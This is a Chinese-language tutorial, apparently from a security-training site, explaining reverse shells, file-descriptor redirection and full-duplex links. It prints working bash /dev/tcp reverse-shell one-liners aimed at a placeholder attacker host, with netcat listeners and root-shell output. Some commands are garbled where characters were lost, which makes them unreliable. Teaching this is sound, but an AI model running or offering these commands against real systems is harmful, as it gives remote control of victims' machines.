反弹shell(reverse shell)
就是控制端监听在某TCP/UDP端口,被控端发起请求到该端口,并将其命令行的输入输出转到控制端。
攻击者指定服务端,受害者主机主动连接攻击者的服务端程序,就叫反弹连接。reverse shell与telnet,ssh等标准shell对应,本质上是网络概念的客户端与服务端的角色反转。
深入理解文件描述符和重定向才能更好弄懂反弹shell。
场景
1.某客户机中了你的网马,但是它在局域网内,你直接连接不了。
2.目标机器的ip动态改变,你不能持续控制。
3.建立一个服务端让恶意程序主动连接,持久化。
4.防火墙受限,不能由外向内建立连接(不接受外部连接)。(通过传输层协议的全双工通信实现交互)
备注:
全双工传输 (Full-Duplex Transmissions)
交换机在发送数据的同时也能够接收数据,两者同步进行,这好像我们平时打电话一样,说话的同时也能够听到对方的声音。目前的交换机都支持全双工。
单工数据传输只支持数据在一个方向上传输;在同一时间只有一方能接受或发送信息,不能实现双向通信,举例:电视,广播,计算机与打印机之间的通信是单工模式。
半双工数据传输允许数据在两个方向上传输,但是,在某一时刻,只允许数据在一个方向上传输,它实际上是一种切换方向的单工通信;在同一时间只可以有一方接受或发送信息,可以实现双向通信。举例:对讲机。
WIKI的定义
全双工(full-duplex)的系统允许二台设备间同时进行双向数据传输。一般的电话、手机就是全双工的系统,因为在讲话时同时也可以听到对方的声音。全双工的系统可以用一般的双向车道形容。两个方向的车辆因使用不同的车道,因此不会互相影响。
实验
测试一:
攻击端:
[root@attacker]# nc -lvp 2333 //第一步 Connection from victim_ip:38712 docker0: flags=4099UP,BROADCAST,MULTICAST> mtu 1500 inet 172.17.0.1 netmask 255.255.0.0 broadcast 172.17.255.255 ether XXXXXXXXXX txqueuelen 0 (Ethernet) RX packets 0 bytes 0 (0.0 B) RX errors 0 dropped 0 overruns 0 frame 0 TX packets 0 bytes 0 (0.0 B) TX errors 0 dropped 0 overruns 0 carrier 0 collisions 0 eth0: flags=4163UP,BROADCAST,RUNNING,MULTICAST> mtu 1500 inet 172.22.181.6 netmask 255.255.240.0 broadcast 172.22.191.255 inet6 fe80::216:3eff:fe0e:9d06 prefixlen 64 scopeid 0x20link> //测试结果:实现了将受害端的标准输出重定向到攻击端,但是还没实现用命令控制受害端。
受害端:
[root@victim]# bash -i > /dev/tcp/attacker_ip/2333 //第二步 [root@victim]# ifconfig //第三步 [root@victim]#
测试二:
攻击端:
[root@attacker]# nc -lvp 2333 //第一步 Connection from victim_ip:38286 hostname //第三步(攻击端执行命令) id whoami
受害端:
[root@victim]# bash -i /dev/tcp/attacker_ip/2333 //第二步 [root@victim]# hostname attacker [root@victim]# id uid=0(root) gid=0(root) groups=0(root) [root@victim]# whoami root [root@victim]# //测试结果:实现了将攻击端的输入重定向到受害端,但是攻击端看不到命令执行结果。
底层原理
输出重定向 >,相当于 1>,输入重定向 ,相当于0,如果要使用错误输出,写成 2>。
例如,把正确的结果放到test.txt,而把错误的结果放到test2.txt文件中:
在正常输入的命令结尾加上2>将标准输出改成标准输入:
靶机:
cat /dev/tcp/attacker_ip/2333
qwer
asdf
攻击机:
nc -lvp 2333
Connection from victim_ip:23610
qwer
asdf
在攻击机传输的内容会被重定向到靶机。
输入重定向原理:
掌握了上面的原理,可以随意构建反弹shell命令:
攻击:
nc -lvp 2333
靶机:
bash -i 0 /dev/tcp/ip/2333 1> /dev/tcp/ip/2333 1> /dev/tcp/ip/2333 >>filename
# 为了读写"filename", 把文件"filename"打开, 并且将文件描述符"j"分配给它.
# 如果文件"filename"不存在, 那么就创建它.
eg:
exec 655359> File
>/dev/tcp/attacker_ip/2333 # 第二步
[root@victim]# cat >/dev/tcp/attacker_ip/2333;cat do $line;done
uid=0(root) gid=0(root) groups=0(root)
-bash: 11: command not found
受害机的文件描述符同步读取到攻击机的写入并通过shell脚本执行;
page4:
受害机的文件描述符同步读取到攻击机的写入并通过shell脚本执行后返回到文件描述符。
exec 65534>/dev/tcp/attacker_ip/2333;catdo $line 2>done
总结
掌握了原理,可以写出各种变形,例如:
exec 8>/dev/tcp/attacker_ip/2333;bash&8 >&8 2>&8
大家可以自由发挥。
参考资料
Create a Reverse Shell to Remotely Execute Root Commands Over Any Open Port Using NetCat or BASH
使用NetCat或BASH创建反向Shell来执行远程执行Root命令--上文翻译
转载请注明来自网盾网络安全培训,本文标题:《教你玩转反弹shell》
- 上一篇: 新冠病毒应对所引发的网络安全思考
- 下一篇: BugKu CTF(杂项篇MISC)—linux
- 关于我们